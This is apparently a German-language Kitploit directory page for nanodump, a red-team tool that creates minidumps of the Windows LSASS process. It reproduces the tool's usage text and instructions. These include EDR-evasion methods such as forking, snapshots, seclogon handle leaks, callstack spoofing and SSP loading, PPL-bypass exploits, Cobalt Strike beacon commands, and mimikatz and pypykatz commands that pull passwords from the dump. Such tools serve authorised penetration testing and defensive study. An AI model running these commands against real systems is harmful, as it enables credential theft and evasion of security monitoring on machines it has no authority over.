Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nanodump — Das Schweizer Taschenmesser des LSASS-Dumpings | Kitploit
Tools/GitHubGitHub/fortra/nanodump
Privilege EscalationSpeicherforensikExploitationPost-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubfortra/nanodump

nanodump

Das Schweizer Taschenmesser des LSASS-Dumpings

Repository anzeigen
2.1k27229vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

NanoDump

Ein flexibles Tool, das einen Minidump des LSASS-Prozesses erstellt.

Bildschirmfoto

Inhaltsverzeichnis

  1. Verwendung
  2. Funktionen
  3. Kombination von Techniken
  4. Beispiele
  5. HTTPS-Weiterleitungen

1. Verwendung

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Klonen

git clone https://github.com/fortra/nanodump.git

Kompilieren (optional)

Unter Linux mit MinGW

make -f Makefile.mingw

Unter Windows mit MSVC (keine BOF-Unterstützung)

nmake -f Makefile.msvc

Importieren (nur CobaltStrike)

Importieren Sie das Skript NanoDump.cna in Cobalt Strike.

Ausführen

Führen Sie den Befehl nanodump in der Beacon-Konsole oder die Binärdatei nanodump.x64.exe aus.

Signatur wiederherstellen

Wenn Sie das Flag --valid nicht angegeben haben, müssen Sie die ungültige Signatur wiederherstellen.

scripts/restore_signature <dumpfile>

Die Geheimnisse abrufen

mimikatz:
Um die Geheimnisse abzurufen, führen Sie einfach Folgendes aus:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Wenn Sie lieber unter Linux bleiben möchten, können Sie den Python3-Port von mimikatz namens pypykatz verwenden:

python3 -m pypykatz lsa minidump <dumpfie>

2. Funktionen

Prozess-Forking

Um zu vermeiden, einen Handle zu LSASS mit PROCESS_VM_READ zu öffnen, können Sie den Parameter --fork verwenden.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen 'Klon' des Prozesses zu erzeugen. Dieser neue Prozess wird dann gedumpt. Dies führt zwar zur Erstellung und Löschung eines Prozesses, vermeidet jedoch das direkte Lesen von LSASS.

Snapshot

Ähnlich wie die Option --fork können Sie --snapshot verwenden, um einen Snapshot des LSASS-Prozesses zu erstellen.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen Snapshot des Prozesses mit PssNtCaptureSnapshot zu erzeugen. Dieser neue Prozess wird dann gedumpt. Der Snapshot wird nach Abschluss automatisch freigegeben.

Handle-Duplizierung

Da das Öffnen eines Handles zu LSASS erkannt werden kann, kann nanodump stattdessen nach vorhandenen Handles zu LSASS suchen.
Wenn einer gefunden wird, wird er kopiert und zum Erstellen des Minidumps verwendet.
Beachten Sie, dass ein solcher Handle nicht garantiert gefunden wird.

Handle erhöhen

Sie können einen Handle zu LSASS mit PROCESS_QUERY_LIMITED_INFORMATION erhalten, der wahrscheinlich auf der Whitelist steht, und diesen Handle dann durch Duplizieren erhöhen.

Seclogon-Handle lokal leaken

Um das Öffnen eines Handles zu LSASS zu vermeiden, können Sie den Seclogon-Dienst missbrauchen, indem Sie CreateProcessWithLogonW aufrufen, um einen LSASS-Handle in die nanodump-Binärdatei zu leaken.
Um diese Funktion zu aktivieren, verwenden Sie den Parameter --seclogon-leak-local.
Beachten Sie, dass bei Verwendung von Cobalt Strike eine unsignierte nanodump-Binärdatei auf die Festplatte geschrieben werden muss, um diese Funktion zu nutzen.

Seclogon-Handle remote leaken

Diese Technik ist der vorherigen sehr ähnlich, aber anstatt den Handle in nanodump zu leaken, wird er in eine andere Binärdatei geleakt und dann dupliziert, sodass nanodump ihn verwenden kann. Verwenden Sie das Flag --seclogon-leak-remote, um auf diese Funktion zuzugreifen.

Seclogon-Handle-Duplizierung

Sie können den Seclogon-Prozess dazu verleiten, einen Handle zu LSASS zu öffnen und zu duplizieren, bevor er geschlossen wird, indem Sie durch Dateisperren eine Race Condition gewinnen. Verwenden Sie das Flag --seclogon-duplicate, um auf diese Funktion zuzugreifen.

nanodump als SSP laden

Sie können nanodump als SSP in LSASS laden, um das Öffnen eines Handles zu vermeiden.
Wenn die DLL in LSASS geladen wurde, werden die Parameter über eine Named Pipe übergeben, und sobald der Dump abgeschlossen ist, gibt DllMain FALSE zurück, damit LSASS die nanodump-DLL entlädt.
Sie können die Parameter in die DLL hartkodieren und die Named Pipe vollständig vermeiden, indem Sie das Compiler-Flag PASS_PARAMS_VIA_NAMED_PIPES=0 verwenden.

Hochladen und Laden einer nanodump-DLL

Standardmäßig wird eine unsignierte nanodump-DLL in den Temp-Ordner hochgeladen, der automatisch gelöscht wird.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Wenn Sie eine bereits vorhandene DLL laden möchten, können Sie Folgendes ausführen:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

PPL-Dump-Exploit

Wenn LSASS als Protected Process Light (PPL) ausgeführt wird, können Sie versuchen, diese durch einen von Project Zero entdeckten Userland-Exploit zu umgehen. Bei Erfolg wird der Dump auf die Festplatte geschrieben.

Beachten Sie, dass diese Sicherheitslücke im Juli-2022-Update-Pack behoben wurde (Windows 10 21H2 Build 19044.1826)

Um auf diese Funktion zuzugreifen, verwenden Sie den Befehl nanodump_ppl_dump

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

PPL-Medic-Exploit

Nanodump implementiert auch den PPLMedic-Exploit, der auf Systemen funktioniert, die das Juli-2022-Update-Pack installiert haben. Die Parameter werden über eine Named Pipe an die nanodump-DLL übergeben. Sie können die Parameter in die DLL hartkodieren und die Named Pipe vollständig vermeiden, indem Sie das Compiler-Flag PASS_PARAMS_VIA_NAMED_PIPES=0 verwenden.
Tool herunterladen